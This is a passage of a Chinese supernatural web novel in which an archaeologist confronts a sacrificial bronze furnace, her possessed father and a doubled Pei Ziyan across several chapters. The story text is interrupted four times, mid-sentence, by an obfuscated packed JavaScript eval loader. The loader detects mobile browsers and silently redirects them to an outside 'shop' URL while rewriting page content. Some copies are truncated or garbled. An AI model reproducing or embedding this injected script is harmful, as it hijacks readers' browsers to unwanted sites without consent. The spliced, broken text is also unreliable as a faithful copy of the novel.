“我们得去雀炉下面。”檀九重低声说,“那里才是真正的核心。” 雨燕脸色煞白:“但那里是...” “人牲祭的核心。”檀九重看向地面的凹槽,“也是我父亲最后出现的地方。” 两人趁乱摸到雀炉旁。炉子已经被重新封好,但檀九重注意到地面有一块活动的石板。她用青铜钥匙撬开石板,露出向下的狭窄通道。 “你留在这里。”檀九重对雨燕说,“如果有人问起,就说我去车上拿设备。” 雨燕却掏出一把老式钥匙:“下面还有一道门,用这个开。”她声音发抖,“我爷爷说...您会需要见证人。” 檀九重深深看了她一眼,转身钻入通道。阶梯陡峭向下,空气越来越浑浊。头灯照去,墙壁上满是抓痕,有些还很新鲜。 通道尽头是一扇青铜门,门上刻着两个交叠的月牙——与她胎记一模一样。檀九重用雨燕的钥匙打开门,眼前的景象让她呼吸停滞—— 圆形密室中央是一个微型雀炉,炉前跪着两个人:穿长衫的老者和...她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951382|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲檀明远!两人手腕被青铜锁链捆住,锁链另一端连接着雀炉。 更可怕的是,父亲右手已经完全青铜化,皮肤下可见机械般的齿轮和铆钉。 “爸...爸?” 檀明远缓缓抬头,眼神空洞:“你不该来...” 穿长衫的老者发出刺耳的笑声:“不,她来得正好!”他突然扯开衣襟,露出胸口——那里嵌着半块青铜锁片,刻着‘命’字,“三魂已聚,只差血祭!” 檀九重后退一步,青铜刀已经握在手中:“外祖父...” “乖孙,你以为千棺葬是结束?”老者狞笑着,“那只是开始!雀炉每六十年醒一次,需要新的‘双生子’献祭...”他指向檀明远,“你父亲想代替你,可惜...他只有一半血统。” 檀明远突然挣扎起来:“九重,走!他要用你和裴子晏完成最后的...” 老者一挥手,青铜锁链骤然收紧。檀明远发出痛苦的呻吟,右手的青铜部分开始向肩膀蔓延。 檀九重注意到密室墙上刻满符文——与裴子晏胸口的青铜装置上的如出一辙。而在墙角,堆着几个现代物品:父亲的背包、水壶,还有...一枚‘乾隆通宝’铜钱。 “裴子晏来过这里...” “他无处不在。”老者怪笑,“毕竟,他是我最成功的作品——跨越千年的‘人牲’!” 檀九重突然明白了所有线索的含义。她缓缓取出半块玉璜:“2001年7月15日,裴子晏在这里留下了这个,对吗?” 老者表情一滞:“你怎么...” “因为那天是我的生日。”檀九重举起玉璜,“也是影子朋友第一次出现的日子。”她指向墙上的符文,“这些不是古代文字,是契约——裴子晏用自己为代价,换我活下去的契约!” 密室突然剧烈震动。雀炉的炉盖弹开,黑灰喷涌而出,在空中凝聚成穿卫衣的裴子晏。但与以往不同,这次他的身体几乎完全实体化,只有右眼依然是灰白色。 “学姐,”他轻声说,“好久不见。” 老者的狂笑戛然而止:“不可能!你应该已经...” “魂飞魄散了?”裴子晏微微一笑,“可惜啊师父,你忘了檀叔叔给我的那枚铜钱...”他指向墙角的铜钱,“里面藏着学姐的一缕头发。” 檀九重如遭雷击——她终于明白为什么铜钱能指引她找到各种线索。那不是普通的法器,而是承载着两人命格的契约凭证! 老者暴怒地咆哮,扑向裴子晏。两人撞在一起,却没有实体碰撞的声音——像是两团能量在互相吞噬。檀明远趁机挣脱锁链,将一样东西抛给檀九重: “炉底!快!” 那是一把青铜小刀,刀柄刻着‘檀’字。檀九重毫不犹豫地冲向雀炉,将刀插入炉底缝隙—— 炉底应声而开,露出里面藏着的东西:一本皮质笔记本,和一小束用红线绑着的头发。笔记本扉页上写着: “人牲祭破解之法。檀明远,癸未年七月初七。” 就在檀九重碰到笔记本的瞬间,整个密室亮如白昼。老者发出不似人类的嚎叫,身体开始崩解。裴子晏的虚影飘到她身边,轻轻握住她的手: “学姐,这次换我来说再见...” “不!”檀九重反手抓住他,却发现触到了实体,“你...” 裴子晏的笑容温暖而真实:“契约完成了。”他指向笔记本,“里面有所有答案...” 他的身体开始发光,越来越亮。檀九重不得不闭上眼睛。当光芒散去时,密室里只剩下她、父亲,和角落里那枚静静躺着的铜钱。 铜钱边上,多了一小堆青铜粉末,排列成月牙形状。 檀明远艰难地爬到她身边,青铜化的右手已经蔓延到胸口:“九重...对不起...” 檀九重翻开笔记本。第一页是一张照片:五岁的她和七岁的裴子晏站在千棺葬入口,手牵着手,笑得灿烂。 照片背面写着:“双生非祸,人心为祭。破局之法,在乎一心。” 窗外,暮色四合。2023年的中元节,即将过去。 51. 骨灰卦 考古队的临时营地亮着惨白的灯光。 檀九重坐在折叠桌前,面前摊开父亲留下的笔记本。帐篷外雨声淅沥,偶尔传来值班人员的脚步声。她小心地从证物袋中倒出雀炉灰烬,在桌面上铺成薄薄一层。 “骨灰卦...”她轻声自语,回忆着家传古籍中的记载。 灰烬在灯光下泛着诡异的金属光泽,仿佛掺入了青铜粉末。檀九重割破食指,将血滴在灰烬边缘。血珠接触灰烬的瞬间,竟像有生命般自动游走,在灰烬表面勾勒出复杂的图案。 “这是...” 图案逐渐清晰:两个交叠的人形轮廓,一个高大瘦削(父亲),另一个矮小纤细(她自己?)。但诡异的是,小人轮廓的胸口位置有个明显的空洞,形状酷似雀炉。 帐篷帘子突然被掀起,雨燕端着两杯热茶走进来:“檀小姐,您该休息...”她看到桌上的灰烬图案,茶杯差点脱手,“骨灰卦?您怎么会我们守墓人的秘术?” 檀九重猛地抬头:“这是守墓人的秘术?” “只有族长一脉相传。”雨燕放下茶杯,撸起袖子露出手腕内侧的红线勒痕,“我爷爷说,这是‘契约印记’...” 勒痕的形状与檀九重腕上的铜钱链压痕一模一样。檀九重不动声色地收起灰烬:“你爷爷还教了你什么?” 雨燕犹豫片刻,从颈间取下半枚玉璜——与檀九重那半块正好能拼合:“爷爷说,当雀炉苏醒时,持璜人能看到‘影子的记忆’...” 檀九重接过玉璜,两半拼合的瞬间,一股刺骨寒意顺着指尖窜上脊椎。眼前景象骤然扭曲—— 幽暗的地下室,巨大的雀炉燃烧着青色火焰。炉脚锁着一个小男孩,蓝布衫破烂不堪,右腕月牙胎记渗着血。年轻的檀明远站在他面前,手持青铜刀,脸上满是挣扎。 “忍一忍...”檀明远声音嘶哑,“只有把你的‘影’分离出来,九重才能活...” 小男孩抬起头,灰白的右眼在火光下泛着金属光泽:“檀叔叔,我不怕疼。但影子离开后,谁陪九重玩呢?” 画面跳转。同一个地下室,雀炉前站着三个人:穿长衫的老者(外祖父)、檀明远,以及...十七八岁的裴子晏?少年裴子晏胸口插着七根青铜钉,钉子上刻着星宿图案。 “记住,”老者对裴子晏说,“你是‘影’,是‘器’,是跨越时间的契约。六十年后,当雀炉再次苏醒,你要带回九重的魂魄...” 裴子晏痛苦地点头,灰白的右眼流下青铜色液体:“我会守住约定。但檀叔叔,您要答应我...” “我会保护九重。”檀明远将一枚铜钱塞入裴子晏手中,“以檀氏血脉起誓。” 幻象消散。檀九重发现自己跪在地上,冷汗浸透后背。雨燕惊恐地扶着她:“您看到了什么?” “真相的一部分...”檀九重擦去嘴角的血迹,“裴子晏从来就不是普通人...” 帐篷外突然传来凄厉的惨叫。两人冲出去,看到值班的队员连滚带爬地从墓室方向逃来:“血...墓室在渗血!” 檀九重抄起靠在帐篷边的洛阳铲冲向墓室。雨燕紧随其后,手里不知何时多了一把造型古怪的青铜匕首。 墓室入口处,暗红色的液体正从石缝中渗出,散发出刺鼻的铁锈味。更可怕的是,这些血液像有生命般在地面蜿蜒,组成一个个扭曲的人形图案。 “退后!”檀九重将雨燕推到安全距离,自己则踩着没被血染的石块跃进墓室。 主墓室已经变成血池。七具青铜簋全部翻倒,中央的凹槽不断喷涌鲜血。檀九重刚站稳,一只青灰色的手突然从血水中伸出,抓向她的脚踝! 她抡起洛阳铲斩下,铲刃与手臂相撞发出金属交鸣声。手臂断落,断面却不是血肉,而是皮革般的材质——人皮傀儡! “雨燕!把铲柄给我看!”檀九重一边抵挡更多尸手的攻击,一边大喊。 雨燕慌忙捡起铲柄递给她。檀九重在铲柄末端发现一行小字:‘2001.7.15’——裴子晏在玉璜上刻的日期! “果然如此...”她将铲柄浸入血水,奇怪的是,血液竟然避开铲柄,形成一个小型漩涡。 血水突然沸腾起来。一个由血液组成的人形从池中站起,轮廓隐约是穿长衫的老者。它发出不似人类的咆哮,扑向檀九重! 千钧一发之际,雨燕掷出青铜匕首。匕首刺入血人胸口,它发出凄厉的哀嚎,重新化为血水落下。 “走!”檀九重拉着雨燕冲出墓室。身后的血池发出巨大的吸吮声,但奇怪的是,没有一滴血溢出墓室门槛。 回到营地,郑岩已经组织队员撤离。他脸色铁青地拦住檀九重:“够了!这里的一切都超出常理,我们必须...” “已经晚了。”檀九重亮出铲柄上的日期,“仪式已经开始。2001年7月15日,2013年7月15日,2023年7月15日...每隔十年一次的祭祀,你们考古队不过是棋子。” 郑岩还想反驳,雨燕突然扯开自己的领口,露出锁骨下方的月牙疤痕——与檀九重的胎记形状相同,但颜色是暗红色:“她说的没错。我爷爷是上一任守墓人,他亲眼见过六十年前的惨剧...” 值班帐篷里传来惊呼。一个实习生拿着考古日志冲出来:“郑队!所有檀顾问的签名...全变了!” 檀九重夺过日志翻看。果然,她之前签名的页面全部变成了陌生的笔迹——清秀中带着刚劲,与裴子晏的笔迹一模一样。 “影子的反噬...”雨燕声音发抖,“当‘影’足够强大时,会取代实体的存在痕迹...” 檀九重突然想起什么,冲回自己的帐篷。她翻开父亲笔记本的最后一页——原本空白处现在写满了字,是父亲的笔迹: “九重,当你看到这些时,我已经成为‘器’的一部分。雀炉需要三个祭品:一个生者,一个死者,一个媒介。裴子晏是媒介,我是死者,而你...” 字迹到这里中断,仿佛被什么力量强行抹去。 帐篷外突然安静得可怕。檀九重警觉地握紧洛阳铲,慢慢掀开帘子——营地空无一人,只有中央的空地上摆着三样东西:她之前见过的半块玉璜、一枚‘乾隆通宝’铜钱,以及...一小束用红线绑着的头发。 红线打结的方式她再熟悉不过——是裴子晏的手法。 “学姐...” 熟悉的声音从背后传来。檀九重猛地转身,看到裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这是...” “契约之网。”檀九重握住裴子晏的手,“你守护了我二十年...现在该我守护你了。” 雀炉的炉盖突然弹开,一股黑烟喷涌而出,在空中凝聚成穿长衫的老者形象。他狂笑着扑向两人: “来吧!成为开启国门的最后钥匙!” 檀九重和裴子晏的手同时按在灰烬卦象上。鲜血浸透的‘囯’字突然亮起金光,将黑烟牢牢定住。 “不!!”老者发出不似人类的嚎叫,“这不可能!契约明明...” “契约内容变了。”裴子晏轻声说,“当‘影’甘愿为实体牺牲,而实体甘愿为‘影’献祭时...” “阴阳逆转。”檀九重接上他的话,“国门永闭。” 金光暴涨,吞噬了整个考古现场。檀九重最后看到的,是裴子晏释然的微笑,和雨燕缓缓倒下的身影。 当光芒散去时,雀炉已经碎裂成无数青铜片。雨燕昏迷在一旁,手腕上的红线勒痕消失无踪。 远处,第一缕晨光刺破云层。 2023年的中元节,终于结束了。 52. 归来客 省文物局的会议室里,空调发出轻微的嗡鸣。 檀九重坐在长桌末端,手指无意识地摩挲着锁骨下的月牙胎记。距离中元节那场惊变已经过去一个月,雀炉碎片被送往国家实验室,雨燕醒来后失去了部分记忆,而父亲和裴子晏的痕迹,就像被橡皮擦从世界上抹去一样,消失得干干净净。 “各位,介绍一下,这是新调任的青铜器专家裴子晏博士。” 局长的声音让檀九重猛地抬头。站在会议室前方的男人穿着笔挺的深蓝色西装,右眼完好无损,嘴角挂着礼貌而疏离的微笑。那张脸——那张她再熟悉不过的脸——正平静地环视众人。 “裴...子晏?”檀九重听见自己的声音干涩得不像话。 男人转向她,眼神陌生而礼貌:“您是?” 会议室突然安静得可怕。所有人都看向檀九重——毕竟这一个月来,她几乎翻遍了所有能找到的‘裴子晏’资料。 “檀九重。”她强迫自己冷静,“特聘顾问。” “久仰。”裴子晏——或者说这个长得和裴子晏一模一样的男人——微微颔首,“您的《商周青铜器中的星象符号》对我启发很大。” 檀九重指甲掐进掌心。这篇论文是她学生时代发表的冷门文章,知道的人屈指可数...包括真正的裴子晏。 会议在诡异的氛围中继续。新来的裴博士专业素养无可挑剔,对东汉青铜器的了解令人叹服。但每当檀九重试图与他目光接触时,对方都会礼貌而迅速地移开视线,就像...在躲避什么。 “裴博士,”会议结束后檀九重拦住他,“能请教几个问题吗?” 裴子晏看了看手表:“十分钟后我有预约...” “就五分钟。”檀九重假装绊倒,整个人向前扑去。裴子晏条件反射地扶住她,这个距离足够她看清他的眼睛——灰褐色的虹膜在阳光下没有正常人的收缩反应,瞳孔如同死物般静止不动。 死人般的瞳孔。 “谢谢。”檀九重站稳身体,突然话锋一转,“还记得我们在湘西吃的腊肉吗?那家老板娘特意加了茱萸。” 裴子晏微笑:“您记错了吧?我从没去过湘西。”他顿了顿,“不过茱萸入菜确实是当地特色,据说能驱邪。” 这个回答让檀九重后背发凉——既否认了共同经历,又表现出对湘西的了解,完美避开陷阱的同时还给出了只有真正去过的人才知道的细节。 “可能是我记错了。”她故作轻松地转移话题,“你之前在哪工作?” “英国,大英博物馆亚洲部。”裴子晏递给她一张名片,“上周刚回国。” 名片上的联系方式一应俱全,甚至连社交媒体账号都有。太完整了,完整得不像假的...也不像真的。 “九重!” 雨燕的声音从走廊传来。她小跑过来,身边跟着一位满头银发的老妇人。老妇人一看到裴子晏就僵在原地,浑浊的眼睛瞪得老大。 “奶奶?”雨燕担忧地扶住老人。 老妇人颤抖着指向裴子晏:“这次...回来的比上次像人多了...” 会议室瞬间安静。裴子晏面不改色:“老人家认错人了吧?我们应该是第一次见面。” “不...”老妇人摇头,“六十年前...也有一个这样的后生从雀炉里爬出来...只是那时候他半边身子还是青铜的...” 檀九重心跳加速。六十年前?那不就是上一个甲子轮回? 裴子晏礼貌地告辞,临走前不小心碰掉了文件夹。檀九重帮他捡起时,瞥见了里面的考古证——照片上的裴子晏穿着白衬衫,背景是某处研究室。但最引人注目的是背景里一个模糊的身影:穿灰色风衣的中年男人,左手戴着标志性的月牙表... 父亲?! 檀九重的手微微发抖。照片上的父亲比她记忆中年轻许多,像是十年前的样貌。而那时,真正的裴子晏应该还是个孩子。 “谢谢。”裴子晏接过文件,指尖与她一触即分——冰冷得不似活人。 等他走远,檀九重立刻转向老妇人:“奶奶,您认识他?” “他不是人...”老妇人紧紧抓住孙女的手,“是‘归来客’...每隔六十年就从雀炉里爬出来的东西...” 雨燕脸色煞白:“奶奶,别说了...” “不,她必须知道!”老妇人枯瘦的手抓住檀九重,“上一次,那个后生说自己叫檀明远...” 檀九重如遭雷击。父亲...也是‘归来客’? “奶奶,您能详细说说吗?六十年前发生了什么?” 老妇人刚要开口,突然剧烈咳嗽起来。雨燕慌忙拍着她的背:“奶奶身体不好,我先送她回去休息。晚点再联系你。” 目送祖孙俩离开,檀九重立刻返回办公室,调出裴子晏的入职档案。所有资料齐全得挑不出毛病:剑桥大学博士学位,大英博物馆工作证明,甚至还有小学毕业照...照片上的小男孩穿着90年代的校服,右腕隐约可见月牙胎记。 太完美了,完美得令人毛骨悚然。 她打开搜索引擎,输入‘裴子晏大英博物馆’。几分钟后,一条2018年的新闻吸引了她的注意:《大英博物馆修复罕见东汉青铜器,中国学者裴子晏获表彰》。配图中,穿白衬衫的裴子晏站在一件青铜器旁——正是雀炉的缩小版! “这不可能...”檀九重放大图片。裴子晏的右腕上确实有月牙胎记,但位置与真正的裴子晏相反。更诡异的是,照片角落的玻璃反射中,隐约能看到一个穿蓝布衫的小男孩... 她的手机突然震动。未知号码发来一条短信: “学姐,别查了。晚上八点,老戏楼见。——P” 檀九重盯着那个‘P’的落款——真正的裴子晏从不会用英文署名,他总是画一个小小的铜钱符号。 夜幕降临,老戏楼在月光下显得格外阴森。檀九重推开吱呀作响的木门,舞台上已经点亮了一盏孤灯。裴子晏——白天的那个——站在灯旁,手里把玩着一枚铜钱。 “学姐来得真准时。”他头也不回地说。 檀九重警惕地停在门口:“你是谁?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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月光从破败的屋顶漏下,照在男人胸口。檀九重这才看清,那不是伤口...而是一个精巧的青铜锁,形状与她手中的钥匙完全吻合。 “学姐有钥匙,我有锁。”男人系好衬衫,“合作愉快?” 檀九重转身就走。在门口,她停下脚步:“最后一个问题。照片里那个穿蓝布衫的孩子...叫什么名字?” 男人的笑声在空荡的戏楼回荡: “他没有名字。‘器’不需要名字。” 夜风吹起舞台上的皮影,它们像活物般轻轻摆动。檀九重走出老戏楼,手机突然收到一条新消息——是雨燕发来的照片。点开一看,她浑身血液几乎凝固: 泛黄的老照片上,年轻的奶奶抱着一个婴儿站在雀炉前。炉口伸出一只青铜化的手,轻抚婴儿的脸颊。照片背面写着: “癸未年七月初七,明远归来,九重生辰。” 父亲...也是‘归来客’? 檀九重望向夜空,月亮不知何时变成了血红色。距离下一个癸未年,还有不到三个月。 53. 夜书墙 考古队的临时营地被月光洗得惨白。 檀九重蜷缩在行军床上,手中紧握着青铜小刀。隔壁帐篷传来细微的响动——那是‘裴子晏’的住处。自从老戏楼那晚后,这个自称考古专家的男人就以‘雀炉研究需要’为由搬进了营地。 腕表显示凌晨2:17。帐篷外响起极轻的脚步声,像猫踩过落叶。檀九重悄悄掀起窗帘一角,看到‘裴子晏’穿着单薄的白衬衫向墓地方向走去,右手提着一盏没点亮的青铜灯。 等他走远,檀九重迅速溜进他的帐篷。手电筒的光束扫过整齐的床铺、排列有序的考古工具,最后停在帐篷内壁上——原本米白的帆布此刻密密麻麻写满了暗红色的文字! “这是...” 她凑近细看,后背瞬间爬满冷汗。那些扭曲的文字大部分是契丹文,内容竟与父亲笔记中记载的‘归魂术(一模一样!但更可怕的是,文字间夹杂着几个醒目的简体字: “九重快逃” 字迹潦草颤抖,像是极度恐惧中仓促写下的。檀九重手指轻触那些字迹,指腹沾上暗红色粉末——不是血,而是混合了朱砂的某种颜料。 她从证物袋取出棉签取样,突然注意到一个细节:所有契丹文都是工整的竖排书写,力道均匀;而那几个简体字却是横向的,笔画深浅不一。就像...两个不同的人在同一面墙上写字。 “两种笔迹...” 檀九重迅速拍照记录,手电筒无意间照到地面——泥土上有细微的拖痕,像是某种轻量物体被反复拖动。她蹲下身,采集了一些泥土样本。 回到自己帐篷,她将样本放入便携检测仪。结果令人毛骨悚然:泥土中含有辽代墓葬特有的朱砂粉和一种罕见的矿物质,只在千棺葬附近出现过。 “他去过千棺葬?什么时候?” 检测仪突然发出提示音——笔迹压力分析完成了。根据书写力度和角度反推,书写者的体重应该在30公斤左右...差不多是一个孩子的重量。 “不可能...” 檀九重回忆‘裴子晏’的体格:一米八左右的成年男性,少说也有65公斤。除非... 一个疯狂的想法浮现在脑海。她翻出父亲笔记,找到关于‘魂重’的记载:“魂魄无质,附物则显其重。童魂约三十斤,成人倍之...” “魂重三十斤...正好15公斤...” 帐篷外突然传来脚步声。檀九重迅速关闭设备,假装熟睡。帘子被轻轻掀起,一股冷风灌入。她能感觉到有人站在床边,目光如实质般扫过她的脸。 “学姐...”极轻的叹息,“别相信他...” 是裴子晏的声音!但不是白天那个‘考古专家’的腔调,而是她熟悉的、带着几分慵懒的语调。 檀九重强忍睁眼的冲动,保持均匀呼吸。几秒钟后,冷风消散,帐篷重归寂静。她猛地坐起,环顾四周——床边多了一枚铜钱,正是她之前给裴子晏的那枚‘乾隆通宝’。 铜钱边缘刻着一行小字:“子时三刻,灯下见我”。 次日清晨,营地一片忙碌。‘裴子晏’穿着整洁的衬衫,正与队员们讨论墓室结构图。看到檀九重,他礼貌性地点点头,眼神疏离得像在看陌生人。 “裴博士,”檀九重递过一杯热茶,“昨晚休息得好吗?” “很好,谢谢关心。”他接过茶杯,指尖冰凉得不似活人,“檀顾问对墓室的‘回’字形结构有什么新发现吗?” 檀九重注意到他左手手腕有一圈淡淡的红痕——就像被绳索捆绑过。而昨晚她见到的‘裴子晏’明明用的是右手提灯... “暂时没有。”她故意碰翻文件夹,借捡拾之机观察他的瞳孔——依然是对光无反应的死寂状态。 ‘裴子晏’啜饮着茶,喉结滚动。檀九重强忍笑意——茶里混入了放射性示踪剂,是考古学常用的追踪物质,无色无味,用盖革计数器就能检测到。 一整天,她都暗中观察着‘裴子晏(。他的举止无可挑剔:专业知识丰富,谈吐优雅,甚至帮队员修复了一件破损的陶器。但有几个瞬间,檀九重捕捉到他的表情突然‘凝固’,就像信号不良的电视画面。 傍晚时分,雨燕来找她,手里拿着一个老式怀表。 “奶奶让我给你这个。”她压低声音,“说是能分辨‘归来客’的真假。” 怀表很旧,表盖上刻着月牙纹。檀九重打开它,里面没有指针,只有两个小镜子相对而立。 “怎么用?” “照他。”雨燕紧张地环顾四周,“如果是‘归来客’,镜子里会显示...” “裴博士!”远处有人喊道,“能来看看这个吗?” 雨燕像受惊的兔子一样溜走了。檀九重将怀表藏好,跟了过去。 墓室入口处,‘裴子晏’正蹲在地上检查一块刻有符文的青砖。檀九重悄悄掏出怀表,对准他的背影—— 镜子里的景象让她差点失手掉落怀表:蹲在地上的不是西装革履的学者,而是一个穿蓝布衫的小男孩!男孩右腕有月牙胎记,正用某种尖锐物在砖上刻字。 “檀顾问?”‘裴子晏’突然回头,镜中的幻象立刻消失,“您对这段铭文有兴趣?” 檀九重强作镇定:“有点眼熟...像父亲笔记里提过的‘引魂咒’。” ‘裴子晏’的眼睛微微眯起:“令尊对契丹文化很有研究?” “不如说...对‘归来客’有研究。”檀九重直视他死气沉沉的眼睛,“你知道什么是‘归来客’吗,裴博士?” 周围队员好奇地看过来。‘裴子晏’面不改色:“是指流落海外的文物回归祖国吧?我很荣幸能参与这样的工作。” 完美的回避。檀九重不再追问,但心里已经有了计划。 夜深人静,盖革计数器的嗡鸣引导檀九重来到墓室深处。示踪剂的辐射信号显示‘裴子晏’进入了那条被封存的侧墓道——官方记录里那里是死胡同。 檀九重用青铜钥匙打开封条,侧墓道比主道狭窄许多,墙壁上布满指甲抓痕,有些还很新鲜。通道尽头是一面砖墙,但盖革计数器的嗡鸣达到顶峰——信号来自墙后! 她仔细检查砖块,很快发现几块松动的青砖。移开后,露出一个狭窄的洞口。檀九重深吸一口气,钻了进去。 墙后是一个不足五平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986492|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米的密室,中央摆着一盏点燃的青铜灯——正是昨晚‘裴子晏’提的那盏。灯旁蜷缩着一个人影,听到动静猛地抬头—— 灰白的右眼,凌乱的黑发,苍白的皮肤...是真正的裴子晏!但他看起来只有十三四岁大小,身上穿着过大的衬衫,手腕脚踝都有深红的勒痕。 “学姐...”他声音嘶哑,“你不该来...” 檀九重冲过去抱住他,却发现手臂穿过了他的身体——没有实体! “这是怎么回事?那个冒充你的家伙是谁?” “是我...也不是我...”小裴子晏指向青铜灯,“他是‘器’...是被师父创造出来的‘完美容器’...”他痛苦地闭上眼睛,“每六十年...雀炉就会吐出一个这样的‘归来客’...上次是檀叔叔...” 檀九重如遭雷击:“父亲真的也是...‘归来客’之一?” 小裴子晏点点头:“檀叔叔发现了真相...他把自己锁在了雀炉里...才打断了仪式...”他的身影开始闪烁,“学姐...快走...他闻到你的气味了...” 密室突然剧烈震动!砖墙崩塌,烟尘中走出西装革履的‘裴子晏’。看到小裴子晏,他露出狰狞的笑容: “找到你了...逃家的‘魂’...” 檀九重挡在两人之间:“离他远点!” ‘裴子晏’歪了歪头:“学姐要阻止仪式吗?那檀叔叔就永远回不来了哦...”他掏出一张照片——是年轻的檀明远抱着婴儿站在雀炉前,“你看...他多爱你...甘愿成为‘器’...” 小裴子晏突然扑向青铜灯:“学姐!记住!‘归来客’最怕...” 灯灭了。黑暗中,檀九重感到一只冰冷的手扼住她的喉咙。就在窒息感袭来的瞬间,胸前的月牙胎记突然灼烧般剧痛—— “啊!” ‘裴子晏’惨叫一声松开手。檀九重趁机掏出青铜小刀刺向他胸口,刀尖碰到钥匙孔形状的凹陷时,整个密室亮如白昼! “你...你居然...”‘裴子晏’低头看着胸口的刀,表情扭曲,“也好...这样学姐就能...” 他的身体开始崩解,皮肤如蜡般融化,露出下面青铜色的骨骼。最后时刻,他竟露出释然的微笑: “下次...换我...做真人...” 彻底消散前,他弹了一下手指。青铜灯重新点燃,照亮墙上的一行血字: “归来客无魂,钥匙开虚门。若要破此局,需寻执锁人。” 小裴子晏的虚影已经消失,只剩地上那枚铜钱静静躺着。檀九重捡起它,对着灯光细看——铜钱边缘多了一行小字: “执锁人在湘西” 帐篷外,天已微明。新的一天开始了,没人知道墓室深处发生的一切。檀九重走回营地,看到雨燕站在她的帐篷前,手里捧着一个骨灰坛。 “奶奶让我给你。”她声音发抖,“说是‘他’留给你的...” 檀九重接过骨灰坛,坛底刻着两个名字: ‘檀明远、裴子晏’ 中间是一个奇怪的符号:月牙环绕着青铜锁。 54. 双魂争 湘西的雨带着千棺葬特有的腐朽气息。 檀九重站在守墓人小屋前,骨灰坛紧抱在怀中。雨燕的奶奶——那位满头银发的老妇人坐在门槛上,浑浊的眼睛盯着坛子,嘴角微微抽动。 “到底什么是‘归来客’?”檀九重声音嘶哑,“为什么骨灰坛上会有我父亲和裴子晏的名字?” 老妇人伸出枯枝般的手,轻抚坛身上的月牙锁纹:“雀炉不是炉子...是渡船。”她抬头看向檀九重,“每隔六十年,它就会载着一个魂魄回来,寻找新的容器...” 小屋内的煤油灯忽明忽暗。老妇人讲述的真相让檀九重如坠冰窟: 六十年前的中元节,年轻的檀明远作为考古队员参与了雀炉发掘。炉中爬出的‘归来客’占据了他的身体,但真正的檀明远魂魄并未消散,而是被封印在雀炉深处。直到二十三年后,这个‘檀明远’在千棺葬发现了被选为祭品的裴子晏... “你父亲...我是说那个‘归来客’...本想用那孩子做新容器。”老妇人咳嗽着,“但真檀明远的魂魄突然反抗,把孩子的‘魂’强行分离出来,藏进了你的影子...” 檀九重想起童年那个看不见的‘影子朋友’,胃部一阵绞痛。 “那现在这个‘裴子晏’又是怎么回事?” “容器满了。”老妇人神秘地笑了,“一个身体装不下两个魂,就像...”她指向骨灰坛,“一个坛子装不下两把灰。” 檀九重突然明白为什么骨灰坛上有两个名字——父亲和裴子晏的魂魄被强行融合在了一起! 雨燕匆匆跑进来:“奶奶!他醒了!” 临时病房里,‘裴子晏’躺在简陋的木床上,额头缠着浸血的纱布。看到檀九重,他灰褐色的瞳孔骤然收缩:“学姐...” 语调慵懒熟悉,是真正的裴子晏! “你...回来了?”檀九重小心翼翼地问。 ‘裴子晏’突然抱住头,发出痛苦的呻吟。再抬头时,眼神又变回那种疏离的冷漠:“檀顾问,我这是...” 檀九重的心沉了下去——‘考古专家’人格又占据了上风。 她悄悄取出便携脑电监测仪(以检查脑震荡为由),将电极贴在他的太阳穴。屏幕上的脑电波剧烈波动,时而呈现β波(清醒状态),时而变成θ波(深度放松或潜意识状态),甚至偶尔出现只有濒死病人才有的δ波。 “两种意识在争夺身体控制权...” 老妇人突然将一碗黑乎乎的药汤泼在‘裴子晏’脸上!他发出不似人类的尖叫,皮肤冒出青烟。趁乱中,檀九重看到他的瞳孔短暂恢复了正常——灰白的右眼,清澈的左眼。 “学姐...快走...”真正的裴子晏挣扎着说出几个字,“他在骗你...炉子里有...” 话未说完,他的表情再次扭曲。‘考古专家’人格强行夺回控制权,一把扯下额头的纱布,用血在眉心画了个诡异的符文。 “别费心了。”他的声音突然变成双重音调,像是两个人在同时说话,“我们本就是一体的...” 老妇人惊恐地后退:“双魂同体...这是最高级的‘容器’...” ‘裴子晏’缓缓下床,动作有种诡异的协调感,仿佛每个动作都是两个意识协商后的结果。他看向檀九重,右眼灰白,左眼死寂: “学姐不是想知道真相吗?跟我来。” 千棺葬入口处,雨势渐大。‘裴子晏’走在前面,脚步时而稳健时而踉跄。檀九重注意到他左手始终紧握,指缝渗出鲜血——真正的裴子晏在试图反抗。 “你到底是谁?”她握紧青铜小刀,“我父亲的魂魄...还是裴子晏?” “都是,也都不是。”‘裴子晏’的声音忽高忽低,“我们是被强行糅合在一起的‘面团’...檀明远的记忆,裴子晏的身体,还有...” 